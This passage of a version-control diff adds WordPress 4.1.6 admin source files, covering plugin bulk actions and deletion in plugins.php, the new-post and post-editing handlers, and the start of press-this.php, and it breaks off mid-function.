+			if ( ! current_user_can('activate_plugins') )
+				wp_die(__('You do not have sufficient permissions to activate plugins for this site.'));
+
+			check_admin_referer('bulk-plugins');
+
+			$plugins = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+
+			if ( is_network_admin() ) {
+				foreach ( $plugins as $i => $plugin ) {
+					// Only activate plugins which are not already network activated.
+					if ( is_plugin_active_for_network( $plugin ) ) {
+						unset( $plugins[ $i ] );
+					}
+				}
+			} else {
+				foreach ( $plugins as $i => $plugin ) {
+					// Only activate plugins which are not already active and are not network-only when on Multisite.
+					if ( is_plugin_active( $plugin ) || ( is_multisite() && is_network_only_plugin( $plugin ) ) ) {
+						unset( $plugins[ $i ] );
+					}
+				}
+			}
+
+			if ( empty($plugins) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			activate_plugins($plugins, self_admin_url('plugins.php?error=true'), is_network_admin() );
+
+			if ( ! is_network_admin() ) {
+				$recent = (array) get_option('recently_activated' );
+				foreach ( $plugins as $plugin )
+					unset( $recent[ $plugin ] );
+				update_option( 'recently_activated', $recent );
+			}
+
+			wp_redirect( self_admin_url("plugins.php?activate-multi=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'update-selected' :
+
+			check_admin_referer( 'bulk-plugins' );
+
+			if ( isset( $_GET['plugins'] ) )
+				$plugins = explode( ',', $_GET['plugins'] );
+			elseif ( isset( $_POST['checked'] ) )
+				$plugins = (array) $_POST['checked'];
+			else
+				$plugins = array();
+
+			$title = __( 'Update Plugins' );
+			$parent_file = 'plugins.php';
+
+			wp_enqueue_script( 'updates' );
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+			echo '<div class="wrap">';
+			echo '<h2>' . esc_html( $title ) . '</h2>';
+
+			$url = self_admin_url('update.php?action=update-selected&amp;plugins=' . urlencode( join(',', $plugins) ));
+			$url = wp_nonce_url($url, 'bulk-update-plugins');
+
+			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
+			echo '</div>';
+			require_once(ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+
+		case 'error_scrape':
+			if ( ! current_user_can('activate_plugins') )
+				wp_die(__('You do not have sufficient permissions to activate plugins for this site.'));
+
+			check_admin_referer('plugin-activation-error_' . $plugin);
+
+			$valid = validate_plugin($plugin);
+			if ( is_wp_error($valid) )
+				wp_die($valid);
+
+			if ( ! WP_DEBUG ) {
+				error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+			}
+
+			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
+			// Go back to "sandbox" scope so we get the same errors as before
+			function plugin_sandbox_scrape( $plugin ) {
+				wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
+				include( WP_PLUGIN_DIR . '/' . $plugin );
+			}
+			plugin_sandbox_scrape( $plugin );
+			/** This action is documented in wp-admin/includes/plugin.php */
+			do_action( "activate_{$plugin}" );
+			exit;
+
+		case 'deactivate':
+			if ( ! current_user_can('activate_plugins') )
+				wp_die(__('You do not have sufficient permissions to deactivate plugins for this site.'));
+
+			check_admin_referer('deactivate-plugin_' . $plugin);
+
+			if ( ! is_network_admin() && is_plugin_active_for_network( $plugin ) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			deactivate_plugins( $plugin, false, is_network_admin() );
+			if ( ! is_network_admin() )
+				update_option( 'recently_activated', array( $plugin => time() ) + (array) get_option( 'recently_activated' ) );
+			if ( headers_sent() )
+				echo "<meta http-equiv='refresh' content='" . esc_attr( "0;url=plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) . "' />";
+			else
+				wp_redirect( self_admin_url("plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'deactivate-selected':
+			if ( ! current_user_can('activate_plugins') )
+				wp_die(__('You do not have sufficient permissions to deactivate plugins for this site.'));
+
+			check_admin_referer('bulk-plugins');
+
+			$plugins = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+			// Do not deactivate plugins which are already deactivated.
+			if ( is_network_admin() ) {
+				$plugins = array_filter( $plugins, 'is_plugin_active_for_network' );
+			} else {
+				$plugins = array_filter( $plugins, 'is_plugin_active' );
+				$plugins = array_diff( $plugins, array_filter( $plugins, 'is_plugin_active_for_network' ) );
+			}
+			if ( empty($plugins) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			deactivate_plugins( $plugins, false, is_network_admin() );
+
+			if ( ! is_network_admin() ) {
+				$deactivated = array();
+				foreach ( $plugins as $plugin )
+					$deactivated[ $plugin ] = time();
+				update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) );
+			}
+
+			wp_redirect( self_admin_url("plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'delete-selected':
+			if ( ! current_user_can('delete_plugins') ) {
+				wp_die(__('You do not have sufficient permissions to delete plugins for this site.'));
+			}
+
+			check_admin_referer('bulk-plugins');
+
+			//$_POST = from the plugin form; $_GET = from the FTP details screen.
+			$plugins = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();
+			if ( empty( $plugins ) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			$plugins = array_filter($plugins, 'is_plugin_inactive'); // Do not allow to delete Activated plugins.
+			if ( empty( $plugins ) ) {
+				wp_redirect( self_admin_url( "plugins.php?error=true&main=true&plugin_status=$status&paged=$page&s=$s" ) );
+				exit;
+			}
+
+			include(ABSPATH . 'wp-admin/update.php');
+
+			$parent_file = 'plugins.php';
+
+			if ( ! isset($_REQUEST['verify-delete']) ) {
+				wp_enqueue_script('jquery');
+				require_once(ABSPATH . 'wp-admin/admin-header.php');
+				?>
+			<div class="wrap">
+				<?php
+					$files_to_delete = $plugin_info = array();
+					$have_non_network_plugins = false;
+					$plugin_translations = wp_get_installed_translations( 'plugins' );
+					foreach ( (array) $plugins as $plugin ) {
+						$plugin_slug = dirname( $plugin );
+
+						if ( '.' == $plugin_slug ) {
+							$files_to_delete[] = WP_PLUGIN_DIR . '/' . $plugin;
+							if ( $data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ) ) {
+								$plugin_info[ $plugin ] = $data;
+								$plugin_info[ $plugin ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
+								if ( ! $plugin_info[ $plugin ]['Network'] ) {
+									$have_non_network_plugins = true;
+								}
+							}
+						} else {
+							// Locate all the files in that folder.
+							$files = list_files( WP_PLUGIN_DIR . '/' . $plugin_slug );
+							if ( $files ) {
+								$files_to_delete = array_merge( $files_to_delete, $files );
+							}
+
+							// Get plugins list from that folder.
+							if ( $folder_plugins = get_plugins( '/' . $plugin_slug ) ) {
+								foreach( $folder_plugins as $plugin_file => $data ) {
+									$plugin_info[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $data );
+									$plugin_info[ $plugin_file ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
+									if ( ! $plugin_info[ $plugin_file ]['Network'] ) {
+										$have_non_network_plugins = true;
+									}
+								}
+							}
+
+							// Add translation files.
+							if ( ! empty( $plugin_translations[ $plugin_slug ] ) ) {
+								$translations = $plugin_translations[ $plugin_slug ];
+
+								foreach ( $translations as $translation => $data ) {
+									$files_to_delete[] = $plugin_slug . '-' . $translation . '.po';
+									$files_to_delete[] = $plugin_slug . '-' . $translation . '.mo';
+								}
+							}
+						}
+					}
+					$plugins_to_delete = count( $plugin_info );
+					echo '<h2>' . _n( 'Delete Plugin', 'Delete Plugins', $plugins_to_delete ) . '</h2>';
+				?>
+				<?php if ( $have_non_network_plugins && is_network_admin() ) : ?>
+				<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php echo _n( 'This plugin may be active on other sites in the network.', 'These plugins may be active on other sites in the network.', $plugins_to_delete ); ?></p></div>
+				<?php endif; ?>
+				<p><?php echo _n( 'You are about to remove the following plugin:', 'You are about to remove the following plugins:', $plugins_to_delete ); ?></p>
+					<ul class="ul-disc">
+						<?php
+						$data_to_delete = false;
+						foreach ( $plugin_info as $plugin ) {
+							if ( $plugin['is_uninstallable'] ) {
+								/* translators: 1: plugin name, 2: plugin author */
+								echo '<li>', sprintf( __( '<strong>%1$s</strong> by <em>%2$s</em> (will also <strong>delete its data</strong>)' ), esc_html($plugin['Name']), esc_html($plugin['AuthorName']) ), '</li>';
+								$data_to_delete = true;
+							} else {
+								/* translators: 1: plugin name, 2: plugin author */
+								echo '<li>', sprintf( __('<strong>%1$s</strong> by <em>%2$s</em>' ), esc_html($plugin['Name']), esc_html($plugin['AuthorName']) ), '</li>';
+							}
+						}
+						?>
+					</ul>
+				<p><?php
+				if ( $data_to_delete )
+					_e('Are you sure you wish to delete these files and data?');
+				else
+					_e('Are you sure you wish to delete these files?');
+				?></p>
+				<form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
+					<input type="hidden" name="verify-delete" value="1" />
+					<input type="hidden" name="action" value="delete-selected" />
+					<?php
+						foreach ( (array) $plugins as $plugin ) {
+							echo '<input type="hidden" name="checked[]" value="' . esc_attr( $plugin ) . '" />';
+						}
+					?>
+					<?php wp_nonce_field('bulk-plugins') ?>
+					<?php submit_button( $data_to_delete ? __( 'Yes, Delete these files and data' ) : __( 'Yes, Delete these files' ), 'button', 'submit', false ); ?>
+				</form>
+				<form method="post" action="<?php echo esc_url(wp_get_referer()); ?>" style="display:inline;">
+					<?php submit_button( __( 'No, Return me to the plugin list' ), 'button', 'submit', false ); ?>
+				</form>
+
+				<p><a href="#" onclick="jQuery('#files-list').toggle(); return false;"><?php _e('Click to view entire list of files which will be deleted'); ?></a></p>
+				<div id="files-list" style="display:none;">
+					<ul class="code">
+					<?php
+						foreach ( (array) $files_to_delete as $file ) {
+							echo '<li>' . esc_html( str_replace( WP_PLUGIN_DIR, '', $file ) ) . '</li>';
+						}
+					?>
+					</ul>
+				</div>
+			</div>
+				<?php
+				require_once(ABSPATH . 'wp-admin/admin-footer.php');
+				exit;
+			} //Endif verify-delete
+			$delete_result = delete_plugins($plugins);
+
+			set_transient('plugins_delete_result_' . $user_ID, $delete_result); //Store the result in a cache rather than a URL param due to object type & length
+			wp_redirect( self_admin_url("plugins.php?deleted=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'clear-recent-list':
+			if ( ! is_network_admin() )
+				update_option( 'recently_activated', array() );
+			break;
+	}
+}
+
+$wp_list_table->prepare_items();
+
+wp_enqueue_script('plugin-install');
+add_thickbox();
+
+add_screen_option( 'per_page', array('label' => _x( 'Plugins', 'plugins per page (screen options)' ), 'default' => 999 ) );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.') . '</p>' .
+	'<p>' . sprintf(__('You can find additional plugins for your site by using the <a href="%1$s">Plugin Browser/Installer</a> functionality or by browsing the <a href="%2$s" target="_blank">WordPress Plugin Directory</a> directly and installing new plugins manually. To manually install a plugin you generally just need to upload the plugin file into your <code>/wp-content/plugins</code> directory. Once a plugin has been installed, you can activate it here.'), 'plugin-install.php', 'https://wordpress.org/plugins/') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'compatibility-problems',
+'title'		=> __('Troubleshooting'),
+'content'	=>
+	'<p>' . __('Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin&#8217;s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue.') . '</p>' .
+	'<p>' . sprintf( __('If something goes wrong with a plugin and you can&#8217;t use WordPress, delete or rename that file in the <code>%s</code> directory and it will be automatically deactivated.'), WP_PLUGIN_DIR) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Managing_Plugins#Plugin_Management" target="_blank">Documentation on Managing Plugins</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$title = __('Plugins');
+$parent_file = 'plugins.php';
+
+require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+$invalid = validate_active_plugins();
+if ( !empty($invalid) )
+	foreach ( $invalid as $plugin_file => $error )
+		echo '<div id="message" class="error"><p>' . sprintf(__('The plugin <code>%s</code> has been <strong>deactivated</strong> due to an error: %s'), esc_html($plugin_file), $error->get_error_message()) . '</p></div>';
+?>
+
+<?php if ( isset($_GET['error']) ) :
+
+	if ( isset( $_GET['main'] ) )
+		$errmsg = __( 'You cannot delete a plugin while it is active on the main site.' );
+	elseif ( isset($_GET['charsout']) )
+		$errmsg = sprintf(__('The plugin generated %d characters of <strong>unexpected output</strong> during activation. If you notice &#8220;headers already sent&#8221; messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.'), $_GET['charsout']);
+	else
+		$errmsg = __('Plugin could not be activated because it triggered a <strong>fatal error</strong>.');
+	?>
+	<div id="message" class="error"><p><?php echo $errmsg; ?></p>
+	<?php
+		if ( !isset( $_GET['main'] ) && !isset($_GET['charsout']) && wp_verify_nonce($_GET['_error_nonce'], 'plugin-activation-error_' . $plugin) ) { ?>
+	<iframe style="border:0" width="100%" height="70px" src="<?php echo 'plugins.php?action=error_scrape&amp;plugin=' . esc_attr($plugin) . '&amp;_wpnonce=' . esc_attr($_GET['_error_nonce']); ?>"></iframe>
+	<?php
+		}
+	?>
+	</div>
+<?php elseif ( isset($_GET['deleted']) ) :
+		$delete_result = get_transient( 'plugins_delete_result_' . $user_ID );
+		// Delete it once we're done.
+		delete_transient( 'plugins_delete_result_' . $user_ID );
+
+		if ( is_wp_error($delete_result) ) : ?>
+		<div id="message" class="error"><p><?php printf( __('Plugin could not be deleted due to an error: %s'), $delete_result->get_error_message() ); ?></p></div>
+		<?php else : ?>
+		<div id="message" class="updated"><p><?php _e('The selected plugins have been <strong>deleted</strong>.'); ?></p></div>
+		<?php endif; ?>
+<?php elseif ( isset($_GET['activate']) ) : ?>
+	<div id="message" class="updated"><p><?php _e('Plugin <strong>activated</strong>.') ?></p></div>
+<?php elseif (isset($_GET['activate-multi'])) : ?>
+	<div id="message" class="updated"><p><?php _e('Selected plugins <strong>activated</strong>.'); ?></p></div>
+<?php elseif ( isset($_GET['deactivate']) ) : ?>
+	<div id="message" class="updated"><p><?php _e('Plugin <strong>deactivated</strong>.') ?></p></div>
+<?php elseif (isset($_GET['deactivate-multi'])) : ?>
+	<div id="message" class="updated"><p><?php _e('Selected plugins <strong>deactivated</strong>.'); ?></p></div>
+<?php elseif ( 'update-selected' == $action ) : ?>
+	<div id="message" class="updated"><p><?php _e('No out of date plugins were selected.'); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title );
+if ( ( ! is_multisite() || is_network_admin() ) && current_user_can('install_plugins') ) { ?>
+ <a href="<?php echo self_admin_url( 'plugin-install.php' ); ?>" class="add-new-h2"><?php echo esc_html_x('Add New', 'plugin'); ?></a>
+<?php }
+if ( $s )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( $s ) ); ?>
+</h2>
+
+<?php
+/**
+ * Fires before the plugins list table is rendered.
+ *
+ * This hook also fires before the plugins list table is rendered in the Network Admin.
+ *
+ * Please note: The 'active' portion of the hook name does not refer to whether the current
+ * view is for active plugins, but rather all plugins actively-installed.
+ *
+ * @since 3.0.0
+ *
+ * @param array $plugins_all An array containing all installed plugins.
+ */
+do_action( 'pre_current_active_plugins', $plugins['all'] );
+?>
+
+<?php $wp_list_table->views(); ?>
+
+<form method="get" action="">
+<?php $wp_list_table->search_box( __( 'Search Installed Plugins' ), 'plugin' ); ?>
+</form>
+
+<form method="post" action="">
+
+<input type="hidden" name="plugin_status" value="<?php echo esc_attr($status) ?>" />
+<input type="hidden" name="paged" value="<?php echo esc_attr($page) ?>" />
+
+<?php $wp_list_table->display(); ?>
+</form>
+
+</div>
+
+<?php
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/4.1.6/src/wp-admin/post-new.php
===================================================================
--- /tags/4.1.6/src/wp-admin/post-new.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/post-new.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * New Post Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !isset($_GET['post_type']) )
+	$post_type = 'post';
+elseif ( in_array( $_GET['post_type'], get_post_types( array('show_ui' => true ) ) ) )
+	$post_type = $_GET['post_type'];
+else
+	wp_die( __('Invalid post type') );
+
+$post_type_object = get_post_type_object( $post_type );
+
+if ( 'post' == $post_type ) {
+	$parent_file = 'edit.php';
+	$submenu_file = 'post-new.php';
+} elseif ( 'attachment' == $post_type ) {
+	if ( wp_redirect( admin_url( 'media-new.php' ) ) )
+		exit;
+} else {
+	$submenu_file = "post-new.php?post_type=$post_type";
+	if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) {
+		$parent_file = $post_type_object->show_in_menu;
+		// What if there isn't a post-new.php item for this post type?
+		if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
+			if (	isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
+				// Fall back to edit.php for that post type, if it exists
+				$submenu_file = "edit.php?post_type=$post_type";
+			} else {
+				// Otherwise, give up and highlight the parent
+				$submenu_file = $parent_file;
+			}
+		}
+	} else {
+		$parent_file = "edit.php?post_type=$post_type";
+	}
+}
+
+$title = $post_type_object->labels->add_new_item;
+
+$editing = true;
+
+if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+// Schedule auto-draft cleanup
+if ( ! wp_next_scheduled( 'wp_scheduled_auto_draft_delete' ) )
+	wp_schedule_event( time(), 'daily', 'wp_scheduled_auto_draft_delete' );
+
+wp_enqueue_script( 'autosave' );
+
+if ( is_multisite() ) {
+	add_action( 'admin_footer', '_admin_notice_post_locked' );
+} else {
+	$check_users = get_users( array( 'fields' => 'ID', 'number' => 2 ) );
+
+	if ( count( $check_users ) > 1 )
+		add_action( 'admin_footer', '_admin_notice_post_locked' );
+
+	unset( $check_users );
+}
+
+// Show post form.
+$post = get_default_post_to_edit( $post_type, true );
+$post_ID = $post->ID;
+include( ABSPATH . 'wp-admin/edit-form-advanced.php' );
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/post.php
===================================================================
--- /tags/4.1.6/src/wp-admin/post.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/post.php	(revision 33402)
@@ -0,0 +1,319 @@
+<?php
+/**
+ * Edit post administration panel.
+ *
+ * Manage Post actions: post, edit, delete, etc.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$parent_file = 'edit.php';
+$submenu_file = 'edit.php';
+
+wp_reset_vars( array( 'action' ) );
+
+if ( isset( $_GET['post'] ) )
+ 	$post_id = $post_ID = (int) $_GET['post'];
+elseif ( isset( $_POST['post_ID'] ) )
+ 	$post_id = $post_ID = (int) $_POST['post_ID'];
+else
+ 	$post_id = $post_ID = 0;
+
+$post = $post_type = $post_type_object = null;
+
+if ( $post_id )
+	$post = get_post( $post_id );
+
+if ( $post ) {
+	$post_type = $post->post_type;
+	$post_type_object = get_post_type_object( $post_type );
+}
+
+/**
+ * Redirect to previous page.
+ *
+ * @param int $post_id Optional. Post ID.
+ */
+function redirect_post($post_id = '') {
+	if ( isset($_POST['save']) || isset($_POST['publish']) ) {
+		$status = get_post_status( $post_id );
+
+		if ( isset( $_POST['publish'] ) ) {
+			switch ( $status ) {
+				case 'pending':
+					$message = 8;
+					break;
+				case 'future':
+					$message = 9;
+					break;
+				default:
+					$message = 6;
+			}
+		} else {
+				$message = 'draft' == $status ? 10 : 1;
+		}
+
+		$location = add_query_arg( 'message', $message, get_edit_post_link( $post_id, 'url' ) );
+	} elseif ( isset($_POST['addmeta']) && $_POST['addmeta'] ) {
+		$location = add_query_arg( 'message', 2, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} elseif ( isset($_POST['deletemeta']) && $_POST['deletemeta'] ) {
+		$location = add_query_arg( 'message', 3, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} else {
+		$location = add_query_arg( 'message', 4, get_edit_post_link( $post_id, 'url' ) );
+	}
+
+	/**
+	 * Filter the post redirect destination URL.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $location The destination URL.
+	 * @param int    $post_id  The post ID.
+	 */
+	wp_redirect( apply_filters( 'redirect_post_location', $location, $post_id ) );
+	exit;
+}
+
+if ( isset( $_POST['deletepost'] ) )
+	$action = 'delete';
+elseif ( isset($_POST['wp-preview']) && 'dopreview' == $_POST['wp-preview'] )
+	$action = 'preview';
+
+$sendback = wp_get_referer();
+if ( ! $sendback ||
+     strpos( $sendback, 'post.php' ) !== false ||
+     strpos( $sendback, 'post-new.php' ) !== false ) {
+	if ( 'attachment' == $post_type ) {
+		$sendback = admin_url( 'upload.php' );
+	} else {
+		$sendback = admin_url( 'edit.php' );
+		$sendback .= ( ! empty( $post_type ) ) ? '?post_type=' . $post_type : '';
+	}
+} else {
+	$sendback = remove_query_arg( array('trashed', 'untrashed', 'deleted', 'ids'), $sendback );
+}
+
+switch($action) {
+case 'post-quickdraft-save':
+	// Check nonce and capabilities
+	$nonce = $_REQUEST['_wpnonce'];
+	$error_msg = false;
+
+	// For output of the quickdraft dashboard widget
+	require_once ABSPATH . 'wp-admin/includes/dashboard.php';
+
+	if ( ! wp_verify_nonce( $nonce, 'add-post' ) )
+		$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
+
+	if ( ! current_user_can( 'edit_posts' ) ) {
+		exit;
+	}
+
+	if ( $error_msg )
+		return wp_dashboard_quick_press( $error_msg );
+
+	$post = get_post( $_REQUEST['post_ID'] );
+	check_admin_referer( 'add-' . $post->post_type );
+
+	$_POST['comment_status'] = get_option( 'default_comment_status' );
+	$_POST['ping_status'] = get_option( 'default_ping_status' );
+
+	edit_post();
+	wp_dashboard_quick_press();
+	exit;
+
+case 'postajaxpost':
+case 'post':
+	check_admin_referer( 'add-' . $post_type );
+	$post_id = 'postajaxpost' == $action ? edit_post() : write_post();
+	redirect_post( $post_id );
+	exit();
+
+case 'edit':
+	$editing = true;
+
+	if ( empty( $post_id ) ) {
+		wp_redirect( admin_url('post.php') );
+		exit();
+	}
+
+	if ( ! $post )
+		wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Unknown post type.' ) );
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_die( __( 'You are not allowed to edit this item.' ) );
+
+	if ( 'trash' == $post->post_status )
+		wp_die( __( 'You can&#8217;t edit this item because it is in the Trash. Please restore it and try again.' ) );
+
+	if ( ! empty( $_GET['get-post-lock'] ) ) {
+		wp_set_post_lock( $post_id );
+		wp_redirect( get_edit_post_link( $post_id, 'url' ) );
+		exit();
+	}
+
+	$post_type = $post->post_type;
+	if ( 'post' == $post_type ) {
+		$parent_file = "edit.php";
+		$submenu_file = "edit.php";
+		$post_new_file = "post-new.php";
+	} elseif ( 'attachment' == $post_type ) {
+		$parent_file = 'upload.php';
+		$submenu_file = 'upload.php';
+		$post_new_file = 'media-new.php';
+	} else {
+		if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true )
+			$parent_file = $post_type_object->show_in_menu;
+		else
+			$parent_file = "edit.php?post_type=$post_type";
+		$submenu_file = "edit.php?post_type=$post_type";
+		$post_new_file = "post-new.php?post_type=$post_type";
+	}
+
+	if ( ! wp_check_post_lock( $post->ID ) ) {
+		$active_post_lock = wp_set_post_lock( $post->ID );
+
+		if ( 'attachment' !== $post_type )
+			wp_enqueue_script('autosave');
+	}
+
+	if ( is_multisite() ) {
+		add_action( 'admin_footer', '_admin_notice_post_locked' );
+	} else {
+		$check_users = get_users( array( 'fields' => 'ID', 'number' => 2 ) );
+
+		if ( count( $check_users ) > 1 )
+			add_action( 'admin_footer', '_admin_notice_post_locked' );
+
+		unset( $check_users );
+	}
+
+	$title = $post_type_object->labels->edit_item;
+	$post = get_post($post_id, OBJECT, 'edit');
+
+	if ( post_type_supports($post_type, 'comments') ) {
+		wp_enqueue_script('admin-comments');
+		enqueue_comment_hotkeys_js();
+	}
+
+	include( ABSPATH . 'wp-admin/edit-form-advanced.php' );
+
+	break;
+
+case 'editattachment':
+	check_admin_referer('update-post_' . $post_id);
+
+	// Don't let these be changed
+	unset($_POST['guid']);
+	$_POST['post_type'] = 'attachment';
+
+	// Update the thumbnail filename
+	$newmeta = wp_get_attachment_metadata( $post_id, true );
+	$newmeta['thumb'] = $_POST['thumb'];
+
+	wp_update_attachment_metadata( $post_id, $newmeta );
+
+case 'editpost':
+	check_admin_referer('update-post_' . $post_id);
+
+	$post_id = edit_post();
+
+	// Session cookie flag that the post was saved
+	if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
+		setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS );
+	}
+
+	redirect_post($post_id); // Send user on their way while we keep working
+
+	exit();
+
+case 'trash':
+	check_admin_referer('trash-post_' . $post_id);
+
+	if ( ! $post )
+		wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Unknown post type.' ) );
+
+	if ( ! current_user_can( 'delete_post', $post_id ) )
+		wp_die( __( 'You are not allowed to move this item to the Trash.' ) );
+
+	if ( $user_id = wp_check_post_lock( $post_id ) ) {
+		$user = get_userdata( $user_id );
+		wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
+	}
+
+	if ( ! wp_trash_post( $post_id ) )
+		wp_die( __( 'Error in moving to Trash.' ) );
+
+	wp_redirect( add_query_arg( array('trashed' => 1, 'ids' => $post_id), $sendback ) );
+	exit();
+
+case 'untrash':
+	check_admin_referer('untrash-post_' . $post_id);
+
+	if ( ! $post )
+		wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Unknown post type.' ) );
+
+	if ( ! current_user_can( 'delete_post', $post_id ) )
+		wp_die( __( 'You are not allowed to move this item out of the Trash.' ) );
+
+	if ( ! wp_untrash_post( $post_id ) )
+		wp_die( __( 'Error in restoring from Trash.' ) );
+
+	wp_redirect( add_query_arg('untrashed', 1, $sendback) );
+	exit();
+
+case 'delete':
+	check_admin_referer('delete-post_' . $post_id);
+
+	if ( ! $post )
+		wp_die( __( 'This item has already been deleted.' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Unknown post type.' ) );
+
+	if ( ! current_user_can( 'delete_post', $post_id ) )
+		wp_die( __( 'You are not allowed to delete this item.' ) );
+
+	$force = ! EMPTY_TRASH_DAYS;
+	if ( $post->post_type == 'attachment' ) {
+		$force = ( $force || ! MEDIA_TRASH );
+		if ( ! wp_delete_attachment( $post_id, $force ) )
+			wp_die( __( 'Error in deleting.' ) );
+	} else {
+		if ( ! wp_delete_post( $post_id, $force ) )
+			wp_die( __( 'Error in deleting.' ) );
+	}
+
+	wp_redirect( add_query_arg('deleted', 1, $sendback) );
+	exit();
+
+case 'preview':
+	check_admin_referer( 'update-post_' . $post_id );
+
+	$url = post_preview();
+
+	wp_redirect($url);
+	exit();
+
+default:
+	wp_redirect( admin_url('edit.php') );
+	exit();
+} // end switch
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/press-this.php
===================================================================
--- /tags/4.1.6/src/wp-admin/press-this.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/press-this.php	(revision 33402)
@@ -0,0 +1,691 @@
+<?php
+/**
+ * Press This Display and Handler.
+ *
+ * @package WordPress
+ * @subpackage Press_This
+ */
+
+define('IFRAME_REQUEST' , true);
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+if ( ! current_user_can( 'edit_posts' ) || ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+/**
+ * Press It form handler.
+ *
+ * @since 2.6.0
+ *
+ * @return int Post ID
+ */
+function press_it() {
+
+	$post = get_default_post_to_edit();
+	$post = get_object_vars($post);
+	$post_ID = $post['ID'] = (int) $_POST['post_id'];
+
+	if ( !current_user_can('edit_post', $post_ID) )
